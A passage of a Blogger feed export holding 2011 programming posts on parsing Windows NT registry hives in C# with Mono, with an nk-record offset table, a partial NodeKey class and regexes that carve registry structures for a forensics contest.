/&gt; Console.WriteLine("Name: " + new string(blah));&lt;br /&gt; &lt;br /&gt; i += bs.Length - i; //we are done.&lt;br /&gt;}&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;I figure for a list of values, you won't be showing more than 100 or so characters until you pick the specific key out of the list and it loads the full details. At that point you can read the entire name and show it to the full user.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7234216734688094130-8996603137166613577?l=volatile-minds.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/PFtMrDPDbLlgtt0_Rwdt5-QuZHA/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/PFtMrDPDbLlgtt0_Rwdt5-QuZHA/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/PFtMrDPDbLlgtt0_Rwdt5-QuZHA/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/PFtMrDPDbLlgtt0_Rwdt5-QuZHA/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/VolatileMinds/~4/FT2YlX_NLSU" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://volatile-minds.blogspot.com/feeds/8996603137166613577/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://volatile-minds.blogspot.com/2011/02/non-trivial-key-names.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7234216734688094130/posts/default/8996603137166613577?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7234216734688094130/posts/default/8996603137166613577?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/VolatileMinds/~3/FT2YlX_NLSU/non-trivial-key-names.html" title="Non-trivial key names" /><author><name>Brandon Perry</name><uri>http://www.blogger.com/profile/04227634714412263524</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="24" src="http://1.bp.blogspot.com/-FJO21-rztvs/TqspC1JU_tI/AAAAAAAAAME/olpwtY2amXc/s220/2011-10-28-171152.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://volatile-minds.blogspot.com/2011/02/non-trivial-key-names.html</feedburner:origLink></entry><entry gd:etag="W/&quot;Ak8DQH0_fSp7ImA9Wx9VFU0.&quot;"><id>tag:blogger.com,1999:blog-7234216734688094130.post-7626637547360198148</id><published>2011-01-31T14:51:00.000-06:00</published><updated>2011-01-31T15:21:11.345-06:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-01-31T15:21:11.345-06:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="ubuntu-only" /><category scheme="http://www.blogger.com/atom/ns#" term="windows" /><category scheme="http://www.blogger.com/atom/ns#" term="C#" /><title>Windows Registry with Mono, pt2 - Node Keys</title><content type="html">I have had a bit more time on my hands to work on being able to read the registry without using advapi32.dll. Today I was able to hack up a small (incomplete) class for node keys that builds the framework for breaking apart and manipulating the data.&lt;br /&gt;&lt;br /&gt;To start off, from &lt;a href="http://files.volatileminds.net/winreg.txt"&gt;this file&lt;/a&gt;, we can get the offsets we need to read to get the right data.&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;the nk-Record&lt;br /&gt;=============&lt;br /&gt;&lt;br /&gt;Offset Size Contents&lt;br /&gt;0x0000 Word ID: ASCII-"nk" = 0x6B6E&lt;br /&gt;0x0002 Word for the root-key: 0x2C, otherwise 0x20&lt;br /&gt;0x0004 Q-Word write-date/time in windows nt notation&lt;br /&gt;0x0010 D-Word Offset of Owner/Parent key&lt;br /&gt;0x0014 D-Word number of sub-Keys&lt;br /&gt;0x001C D-Word Offset of the sub-key lf-Records&lt;br /&gt;0x0024 D-Word number of values&lt;br /&gt;0x0028 D-Word Offset of the Value-List&lt;br /&gt;0x002C D-Word Offset of the sk-Record&lt;br /&gt;0x0030 D-Word Offset of the Class-Name&lt;br /&gt;0x0044 D-Word Unused (data-trash)&lt;br /&gt;0x0048 Word name-length&lt;br /&gt;0x004A Word class-name length&lt;br /&gt;0x004C ???? key-name&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;It's pretty straight forward. In every fragment, we can go to specific offsets and get the data we want. This ends up looking like this:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;public NodeKey (string data)&lt;br /&gt;{&lt;br /&gt; ASCIIEncoding enc = new ASCIIEncoding();&lt;br /&gt; &lt;br /&gt; byte[] bs = enc.GetBytes(data);&lt;br /&gt; &lt;br /&gt; //the lengths we will be working with.&lt;br /&gt; int word = 2;&lt;br /&gt; int dword = word+word; //double word&lt;br /&gt; int qword = dword+dword; //quad word&lt;br /&gt; &lt;br /&gt; for (int i = 0; i &amp;lt; bs.Length;)&lt;br /&gt; {&lt;br /&gt;  //making sure it is nk&lt;br /&gt;  if (i == (int)0x0000) //header&lt;br /&gt;  {&lt;br /&gt;   if ((int)bs[0] == 110)&lt;br /&gt;   {&lt;br /&gt;    if ((int)bs[1] == 107) &lt;br /&gt;    {&lt;br /&gt;     i += word;&lt;br /&gt;     continue;&lt;br /&gt;    }&lt;br /&gt;    else&lt;br /&gt;    {&lt;br /&gt;            throw new Exception("This may be a damaged nk block. If so, fix the header and try again.");&lt;br /&gt;    }&lt;br /&gt;   }&lt;br /&gt;   else&lt;br /&gt;   {&lt;br /&gt;    &lt;br /&gt;    throw new Exception("Not a nk");&lt;br /&gt;   }&lt;br /&gt;  }&lt;br /&gt;  &lt;br /&gt;  else if (i == (int)0x0002) //is it a root key?&lt;br /&gt;          {&lt;br /&gt;   if (bs[i] == (byte)0x2C)&lt;br /&gt;   {&lt;br /&gt;    //It's a root key!&lt;br /&gt;    Console.WriteLine("It's a root key!");&lt;br /&gt;    &lt;br /&gt;   }&lt;br /&gt;   else&lt;br /&gt;   {&lt;br /&gt;    //it's not a root key!&lt;br /&gt;    Console.WriteLine("It's not a root key!");&lt;br /&gt;   }&lt;br /&gt;   &lt;br /&gt;   i += word; //move up 2 elements&lt;br /&gt;   continue;&lt;br /&gt;  }&lt;br /&gt;  &lt;br /&gt;  else if (i == (int)0x0004) //timestamp in long smb form blegh&lt;br /&gt;  {&lt;br /&gt;   byte[] blah = new byte[qword];&lt;br /&gt;   for (int k = 0;k&amp;lt;qword;k++)&lt;br /&gt;   {&lt;br /&gt;    blah[k] = bs[i+k];&lt;br /&gt;   }&lt;br /&gt;   &lt;br /&gt;   i+= qword;&lt;br /&gt;  }&lt;br /&gt;  else if (i == (int)0x0010) //offset to parent&lt;br /&gt;  {&lt;br /&gt;   i += dword;&lt;br /&gt;  }&lt;br /&gt;  else if (i == (int)0x0014) //number of subkeys&lt;br /&gt;  {&lt;br /&gt;   i += dword;&lt;br /&gt;  }&lt;br /&gt;  else if (i == (int)0x001C) //offset to subkey lf blocks&lt;br /&gt;  {&lt;br /&gt;   i += dword;&lt;br /&gt;  }&lt;br /&gt;  else if (i == (int)0x0024) //number of values&lt;br /&gt;  {&lt;br /&gt;   i += dword;&lt;br /&gt;  }&lt;br /&gt;  else if (i == (int)0x0028) //offset of value list&lt;br /&gt;  {&lt;br /&gt;   i += dword;&lt;br /&gt;  }&lt;br /&gt;  else if (i == (int)0x002C) //offset to the sk block&lt;br /&gt;  {&lt;br /&gt;   i += dword;&lt;br /&gt;  }&lt;br /&gt;  else if (i == (int)0x0030) //offset to classname&lt;br /&gt;  {&lt;br /&gt;   i += dword;&lt;br /&gt;  }&lt;br /&gt;  else if (i == (int)0x0044) //this is trash supposedly&lt;br /&gt;                {&lt;br /&gt;   i += dword;&lt;br /&gt;  }&lt;br /&gt;  else if (i == (int)0x0048) //name length&lt;br /&gt;  {&lt;br /&gt;   i += word;&lt;br /&gt;  }&lt;br /&gt;  else if (i == (int)0x004A) //class name length&lt;br /&gt;  {&lt;br /&gt;   i += word;&lt;br /&gt;  }&lt;br /&gt;  else if (i == (int)0x004C) //key name&lt;br /&gt;  {&lt;br /&gt;   int length = bs.Length - i;&lt;br /&gt;   &lt;br /&gt;   char[] blah = new char[length];&lt;br /&gt;   &lt;br /&gt;   for (int k = 0; k &amp;lt; length;k++)&lt;br /&gt;   {&lt;br /&gt;    blah[k] = (char)bs[i+k];&lt;br /&gt;   }&lt;br /&gt;   &lt;br /&gt;   Console.WriteLine(blah);&lt;br /&gt;   &lt;br /&gt;   i += length; //we are done.&lt;br /&gt;  }&lt;br /&gt;  else i+= word; //debugging purposes&lt;br /&gt; }&lt;br /&gt;}&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;If you notice, however, my code is not complete. I am starting with the most useful stuff first and moving on that way. A more complete class will keep the key name length in a local variable and use that instead of &lt;code&gt;bs.Length&lt;/code&gt; when reading the key name later. With the current implementation, I read in too many bytes and grab some extra key headers :-/. You could create properties that are privately set and publicly get'able and set the properties to their respective values, to make it truly object oriented. &lt;br /&gt;&lt;br /&gt;Another thing to point out is &lt;code&gt;i&lt;/code&gt; is being incremented by the length read each time. It isn't arbitrary. This way next go around we are at the offset we need to be at.&lt;br /&gt;&lt;br /&gt;One thing I look forward to implementing is lazy loading of parents and children. If you would like to test this, class, you can see my previous post on &lt;a href="http://volatile-minds.blogspot.com/2011/01/analyzing-windows-nt-registry-without.html"&gt;initially reading and deciphering&lt;/a&gt; the windows registry in C#. Just use this in your &lt;code&gt;for&lt;/code&gt; loop instead:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;foreach (Match mx in nk.Matches (d)) {&lt;br /&gt;&lt;br /&gt; all++;&lt;br /&gt; NodeKey key = new NodeKey(mx.Value);&lt;br /&gt;}&lt;br /&gt;&lt;/code&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7234216734688094130-7626637547360198148?l=volatile-minds.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/vLHAOyoeq9TrdwbKk1r4_dHJxvs/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/vLHAOyoeq9TrdwbKk1r4_dHJxvs/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/vLHAOyoeq9TrdwbKk1r4_dHJxvs/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/vLHAOyoeq9TrdwbKk1r4_dHJxvs/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/VolatileMinds/~4/Z9oNBDp66nk" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://volatile-minds.blogspot.com/feeds/7626637547360198148/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://volatile-minds.blogspot.com/2011/01/windows-registry-with-mono-pt2-node.html#comment-form" title="2 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7234216734688094130/posts/default/7626637547360198148?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7234216734688094130/posts/default/7626637547360198148?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/VolatileMinds/~3/Z9oNBDp66nk/windows-registry-with-mono-pt2-node.html" title="Windows Registry with Mono, pt2 - Node Keys" /><author><name>Brandon Perry</name><uri>http://www.blogger.com/profile/04227634714412263524</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="24" src="http://1.bp.blogspot.com/-FJO21-rztvs/TqspC1JU_tI/AAAAAAAAAME/olpwtY2amXc/s220/2011-10-28-171152.jpg" /></author><thr:total>2</thr:total><feedburner:origLink>http://volatile-minds.blogspot.com/2011/01/windows-registry-with-mono-pt2-node.html</feedburner:origLink></entry><entry gd:etag="W/&quot;AkcGQ3o-cSp7ImA9Wx9WGU8.&quot;"><id>tag:blogger.com,1999:blog-7234216734688094130.post-2193856527081659374</id><published>2011-01-05T12:10:00.000-06:00</published><updated>2011-01-24T22:00:22.459-06:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-01-24T22:00:22.459-06:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="mono" /><category scheme="http://www.blogger.com/atom/ns#" term="C#" /><category scheme="http://www.blogger.com/atom/ns#" term="security" /><title>Analyzing the Windows NT registry without advapi32.dll using Mono (PoC)</title><content type="html">I have been doing some challenges for a contest and one requires analyzing a set of Windows NT registry hives. Regedit really sucks (though it does run in wine). I decided it would be more fun to write a small library that can read the registry hives without relying on p/invoke and advapi32.dll on Windows. I have some small code that carves out the data I need, though I am running into a problem on the &lt;code&gt;software&lt;/code&gt; hive supplied. Maybe someone can point me in the right direction.&lt;br /&gt;&lt;br /&gt;A lot of my information came from &lt;a href="http://files.volatileminds.net/winreg.txt"&gt;this text file&lt;/a&gt; which I found, and have updated some with information that I found missing.&lt;br /&gt;&lt;br /&gt;As far as I can tell, there are 6 data types to be carved out of the hives. regf file headers, hbin blocks, node keys, value keys, and lf/h (lh on XP) blocks. There are also security keys (with a sk header) within node keys. The following regex's should carve out the data from the registry files so you may parse out the information you need.&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;Regex regf = new Regex (@"^regf.{508}");&lt;br /&gt;Regex nk = new Regex (@"nk[\x2c|\x20]\x00.{7}\x01.{64}");&lt;br /&gt;Regex vk = new Regex (@"vk.{3}\x00\x00[\x00|\x80].{64}");&lt;br /&gt;Regex hbin = new Regex (@"hbin.{4}\x00\x10\x00\x00.{8}");&lt;br /&gt;Regex lf = new Regex (@".{4}l[f|h][0-65535].{8}"); //lf or lh on winxp&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;But in order to search the hive, we need to read it in. This isn't very efficient, and I am aware of this. It works.&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;using (FileStream fs = File.OpenRead (path)) {&lt;br /&gt; var data = new byte[checked((int)fs.Length)];&lt;br /&gt; int i = 0;&lt;br /&gt; int read;&lt;br /&gt;     &lt;br /&gt; using (var ms = new MemoryStream (checked((int)fs.Length))) {&lt;br /&gt;      &lt;br /&gt;  while ((read = fs.Read (data, 0, data.Length)) &gt; 0) {&lt;br /&gt;   ms.Write (data, 0, read);&lt;br /&gt;   i += read;&lt;br /&gt;  }&lt;br /&gt;      &lt;br /&gt;  byte[] hive = ms.ToArray ();&lt;br /&gt;  char[] cList = new char[fs.Length];&lt;br /&gt;      &lt;br /&gt;  i = 0;&lt;br /&gt;  foreach (byte b in hive)&lt;br /&gt;   cList[i++] = (char)b;&lt;br /&gt;      &lt;br /&gt;         string d = new string (cList);&lt;br /&gt; &lt;br /&gt;      &lt;br /&gt;  int all = 0;&lt;br /&gt;      &lt;br /&gt;  foreach (Match mx in lf.Matches (d)) { //you can change out the regex you want here.&lt;br /&gt;   byte[] bb = new byte[mx.Value.Length];&lt;br /&gt;   char[] cb = new char[mx.Value.Length];&lt;br /&gt;       &lt;br /&gt;   for (int k = 0; k &lt; mx.Value.Length; k++) {&lt;br /&gt;    bb[k] = (byte)mx.Value[k];&lt;br /&gt;    cb[k] = (char)bb[k];&lt;br /&gt;    &lt;br /&gt;   }&lt;br /&gt;   &lt;br /&gt;   all++;&lt;br /&gt;   &lt;br /&gt;   //Console.WriteLine (new string (cb));&lt;br /&gt;  }&lt;br /&gt;  &lt;br /&gt;  Console.WriteLine (all.ToString ());&lt;br /&gt;  all = 0;&lt;br /&gt; }&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Basically, we read in the hive into a MemoryStream, convert the stream into a byte array, move that into a char array from which we create a string to search for the regexs in. Yes, we store 4 copies of the registry in memory. I am sure there are better ways to do this.&lt;br /&gt;&lt;br /&gt;Then we loop through each match and count them. Of course we are working with binary streams, so if you choose to write the data carved out to the console, it will look like random data (to the untrained eye at least).&lt;br /&gt;&lt;br /&gt;Running through all the hives supplied, I get this output:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;br /&gt;/home/bperry/SAM&lt;br /&gt;nk[\x2c|\x20]\x00.{7}\x01.{64}&lt;br /&gt;47&lt;br /&gt;.{4}l[f|h][0-65535].{8}&lt;br /&gt;0&lt;br /&gt;vk.{3}\x00\x00[\x00|\x80].{64}&lt;br /&gt;36&lt;br /&gt;hbin.{4}\x00\x10\x00\x00.{8}&lt;br /&gt;6&lt;br /&gt;^regf.{508}&lt;br /&gt;1&lt;br /&gt;&lt;br /&gt;/home/bperry/software&lt;br /&gt;nk[\x2c|\x20]\x00.{7}\x01.{64}&lt;br /&gt;43147&lt;br /&gt;.{4}l[f|h][0-65535].{8}&lt;br /&gt;6&lt;br /&gt;vk.{3}\x00\x00[\x00|\x80].{64}&lt;br /&gt;54708&lt;br /&gt;hbin.{4}\x00\x10\x00\x00.{8}&lt;br /&gt;2917&lt;br /&gt;^regf.{508}&lt;br /&gt;0&lt;br /&gt;&lt;br /&gt;/home/bperry/system&lt;br /&gt;nk[\x2c|\x20]\x00.{7}\x01.{64}&lt;br /&gt;11189&lt;br /&gt;.{4}l[f|h][0-65535].{8}&lt;br /&gt;4&lt;br /&gt;vk.{3}\x00\x00[\x00|\x80].{64}&lt;br /&gt;21926&lt;br /&gt;hbin.{4}\x00\x10\x00\x00.{8}&lt;br /&gt;1121&lt;br /&gt;^regf.{508}&lt;br /&gt;1&lt;br /&gt;&lt;br /&gt;/home/bperry/default&lt;br /&gt;nk[\x2c|\x20]\x00.{7}\x01.{64}&lt;br /&gt;554&lt;br /&gt;.{4}l[f|h][0-65535].{8}&lt;br /&gt;0&lt;br /&gt;vk.{3}\x00\x00[\x00|\x80].{64}&lt;br /&gt;1014&lt;br /&gt;hbin.{4}\x00\x10\x00\x00.{8}&lt;br /&gt;58&lt;br /&gt;^regf.{508}&lt;br /&gt;1&lt;br /&gt;&lt;br /&gt;/home/bperry/SECURITY&lt;br /&gt;nk[\x2c|\x20]\x00.{7}\x01.{64}&lt;br /&gt;220&lt;br /&gt;.{4}l[f|h][0-65535].{8}&lt;br /&gt;0&lt;br /&gt;vk.{3}\x00\x00[\x00|\x80].{64}&lt;br /&gt;147&lt;br /&gt;hbin.{4}\x00\x10\x00\x00.{8}&lt;br /&gt;10&lt;br /&gt;^regf.{508}&lt;br /&gt;1&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;The number printed after the regex is the number of matches found. The data is fully carved out, so the only thing left is to break it apart to get the relevant data. If you will notice however, &lt;code&gt;software&lt;/code&gt; reports 0 regf file headers, and I cannot figure out why. Any thoughts?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7234216734688094130-2193856527081659374?l=volatile-minds.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/sSojyFwTWCccqjTPxwB_3YQ1wno/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/sSojyFwTWCccqjTPxwB_3YQ1wno/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/sSojyFwTWCccqjTPxwB_3YQ1wno/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/sSojyFwTWCccqjTPxwB_3YQ1wno/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/VolatileMinds/~4/w15WYyAq98A" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://volatile-minds.blogspot.com/feeds/2193856527081659374/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://volatile-minds.blogspot.com/2011/01/analyzing-windows-nt-registry-without.html#comment-form" title="1 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7234216734688094130/posts/default/2193856527081659374?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7234216734688094130/posts/default/2193856527081659374?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/VolatileMinds/~3/w15WYyAq98A/analyzing-windows-nt-registry-without.html" title="Analyzing the Windows NT registry without advapi32.dll using Mono (PoC)" /><author><name>Brandon Perry</name><uri>http://www.blogger.com/profile/04227634714412263524</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="24" src="http://1.bp.blogspot.com/-FJO21-rztvs/TqspC1JU_tI/AAAAAAAAAME/olpwtY2amXc/s220/2011-10-28-171152.jpg" /></author><thr:total>1</thr:total><feedburner:origLink>http://volatile-minds.blogspot.com/2011/01/analyzing-windows-nt-registry-without.html</feedburner:origLink></entry></feed>

